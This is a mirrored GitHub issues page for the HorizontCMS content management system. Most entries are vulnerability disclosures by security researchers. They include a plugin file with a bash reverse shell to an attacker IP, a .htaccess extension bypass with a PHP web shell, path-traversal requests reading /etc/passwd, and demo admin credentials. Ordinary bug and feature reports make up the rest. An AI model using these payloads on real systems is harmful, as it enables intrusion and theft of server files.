Giter VIP home page Giter VIP logo

horizontcms's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

horizontcms's Issues

Authenticated Remote Code Execution via a Malicious Plugin Upload

Description of the Issue

One who is able to log into the admin panel can gain Remote Code Execution via uploading a malicious Plugin file via Plugins upload functionality.

Reproduction of the Issue

  1. Login to the admin panel (http:///admin/login)
  2. Prepare the malicious plugin file (We used a sample GoogleMaps (https://github.com/ttimot24/GoogleMaps) file and modified the "/resources/lang/en/message.php" to introduce our own PHP code)
<?php 

$shell = exec("/bin/bash -c 'bash -i >& /dev/tcp/<Attacker IP>/9001 0>&1'");

return [
        'successfully_added_location' => $shell, //'Location added succesfully!',
        'successfully_deleted_location' => 'Location deleted succesfully!',
        'successfully_set_center' => 'Location is successfully set as map center!'
];
  1. Zip the GoogleMaps plugin folder and upload it via Plugins functionality in the admin portal.
  2. Install & activate the Plugins
  3. Using "Add location" add an arbitrary location and click "Save" --> When its condition is met for "successfully_added_location," it will run our code ($shell) instead of printing out the original message 'Location added succesfully!'

Screenshots

  • Modifying the message.php file in the sample GoogleMaps plugin file:
    10

  • Zip and upload the GoogleMaps plugin:

$ zip -r google.zip GoogleMaps

11

  • Install --> Activate --> Google Maps Plugin is created in the menu bar:
    12

  • Add location --> Click Save (to initiate the message.php code)
    13
    14

  • Listener Receiving a Reverse Shell
    15

Root Cause

  • The application is taking an arbitrary plugin file and execute the user supplied PHP code without proper sanitization.

Please let us know if you have any questions or need further information. Thanks.

Daniel Min & Chi Tran

Youtube plugin dies with youtu.be links

The youtube part working well with youtube.com links but when I accidentally add a youtu.be link the whole Youtube part dies and can only see a exception when clicking on the menu. Only way to revert this is to delete the bad link from DB.

Arbitrary file download vulnerability

Version:HorizontCMS v1.0.0-beta-2

Submit date: 2022-02-13

Description:Arbitrary file download vulnerability

image

POC:

GET /admin/file-manager/download?file=storage/images/header_images/../../../../../../../../etc/passwd HTTP/1.1

image

Authenticated Remote Code Execution via a Media Files Upload (PHP Filetype Bypass)

Description of the Issue

One who is able to log into the admin panel can gain Remote Code Execution via uploading a .htaccess and *.hello files using the Media Files upload functionality. The original file upload vulnerability (CVE-2020-27387) was remediated by restricting the PHP extensions; however, we confirmed that the filter was bypassed via uploading an arbitrary .htaccess and *.hello files in order to execute PHP code to gain RCE.

Reproduction of the Issue

  1. Login to the admin panel (http:///admin/login)
  2. Go to "Media" --> "Files"
  3. Upload the following file --> Rename the file name as ".htaccess"
AddType application/x-httpd-php .hello
  1. Upload another following file --> Rename the file name as "test.hello"
<?php system($_GET['cmd']); ?>
  1. Go to http://<HorizontCMS IP/storage/test.hello?cmd= for RCE

Screenshots

  • Upload files and rename them:
    01

image

image

image

02

  • Gain RCE
    image

Root Cause

  • Allowing an arbitrary file & rename functionality is not properly sanitizing the file extension.

Recommendations

  • Re-work on file upload function where they should always check for MIME-Type and file extension
  • Avoid leaving the file upload folder ("/storage") open

Please let us know if you have any questions or need further information. Thanks!

Daniel Min & Chi Tran

Demo not working

The demo is not opening. If this project is managed properly, this will be a hit in no time. I opened this project just because it says "Alternative to octobercms"

Image restriction validation for blog posts

Please add a message/validation if I am adding big pictures for a blog post (which can mess up the page layout) or create and option where I can resize the image (manually or automatically).

Hello,

Where can i find the home blade and the admin blades !!

How to get in touch regarding a security concern

Hey there!

I belong to an open source security research community, and a member (@dota-st) has found an issue, but doesn’t know the best way to disclose it.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

File manager bug

The File Manager has vulnerable with Directory traversal. PoC link:

http://horizontcms.herokuapp.com/admin/file-manager/index?path=/../../../../../&mode=embed&CKEditor=editor&CKEditorFuncNum=1&langCode=en

username: admin
password: admin

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.